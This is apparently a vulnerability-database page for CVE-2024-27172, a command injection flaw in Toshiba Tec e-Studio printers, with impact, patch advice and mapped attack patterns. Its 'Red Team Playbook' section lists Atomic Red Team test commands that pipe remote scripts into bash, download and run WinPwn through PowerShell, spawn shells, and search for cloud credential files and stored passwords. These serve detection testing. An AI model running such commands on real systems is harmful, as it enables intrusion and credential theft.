CVE-2024-27172
Overview
This vulnerability is a command injection flaw (CWE-78) rooted in improper input validation within the Remote Command program of Toshiba Tec e-Studio multi-function peripherals. The affected component processes external input without adequate sanitization, enabling arbitrary command execution. The flaw resides specifically in the command processing functionality exposed by the device's network interface.
Vulnerability Description
Remote Command program allows an attacker to get Remote Code Execution. As for the affected products/models/versions, see the reference URL.
Impact
An attacker with network access can execute arbitrary commands on the affected device without any authentication or user interaction, enabling full control over the system. This can lead to unauthorized data access, device manipulation, or disruption of printing and scanning services. The vulnerability's CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms it is remotely exploitable with low complexity and no privileges, amplifying the risk of widespread compromise within enterprise environments.
Solution
Toshiba Tec Corporation has released security updates addressing this vulnerability for affected e-Studio MFP models, detailed in their advisory dated 2024-05-31 (https://www.toshibatec.com/information/20240531_01.html). Administrators should apply the provided firmware patches immediately. The advisory includes version-specific fixes and instructions. No alternative workarounds are recommended; applying the vendor-supplied patches is essential for remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question involves a critical flaw in a Remote Command program that allows for remote code execution (RCE). This type of vulnerability typically arises from improper validation of user inputs or inadequate authentication mechanisms, enabling an attacker to execute arbitrary commands on the affected system. The underlying technical issue may stem from a failure to sanitize inputs or a misconfiguration that exposes sensitive functionalities to unauthorized users. Attackers can exploit this vulnerability by sending specially crafted requests to the affected application, which then processes these requests without adequate checks, leading to the execution of malicious code.
Attack vectors for this vulnerability are diverse, as it can be exploited over the network, allowing attackers to target systems remotely without physical access. Common exploitation scenarios include leveraging the vulnerability through web interfaces, APIs, or even command-line interfaces that are exposed to the internet. An attacker could craft a payload that, when executed, provides them with a shell or access to sensitive data. In a more sophisticated attack, an adversary might combine this vulnerability with social engineering tactics to trick users into executing malicious commands, thereby increasing the chances of successful exploitation.
The real-world impact of such a vulnerability is significant, particularly for organizations that rely on the affected Remote Command program for critical operations. Successful exploitation can lead to unauthorized access to sensitive data, disruption of services, and potential financial loss. The business risks associated with this vulnerability extend beyond immediate operational impacts; they also include reputational damage, regulatory penalties, and the costs associated with incident response and recovery. Organizations may face legal repercussions if customer data is compromised, further exacerbating the financial implications of an attack.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regular vulnerability assessments and penetration testing can help identify potential weaknesses in the system before they are exploited. Additionally, employing intrusion detection systems (IDS) can provide real-time monitoring for unusual activities that may indicate an attempted exploitation. Organizations should also ensure that all software is up to date with the latest security patches and employ strict access controls to limit the exposure of sensitive functionalities. Implementing application firewalls can further help in filtering out malicious requests before they reach the vulnerable components.
In conclusion, the vulnerability in the Remote Command program poses a severe threat to organizations that utilize the affected software. The potential for remote code execution can lead to devastating consequences if not addressed promptly. By understanding the technical details, attack vectors, and real-world implications, organizations can better prepare themselves to defend against such threats. Proactive detection and mitigation strategies are essential to safeguard systems and maintain the integrity of operations in an increasingly hostile cyber landscape.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
44%
|
High | High | |
| CAPEC-6 | Argument Injection |
43%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
40%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-27172 |
| toshibatec.com |
GitHub CVE
|
https://www.toshibatec.com/information/20240531_01.html |
| toshibatec.com |
GitHub CVE
|
https://www.toshibatec.com/information/pdf/information20240531_01.pdf |
| jvn.jp |
GitHub CVE
|
https://jvn.jp/en/vu/JVNVU97136265/index.html |
| seclists.org |
GitHub CVE
|
http://seclists.org/fulldisclosure/2024/Jul/1 |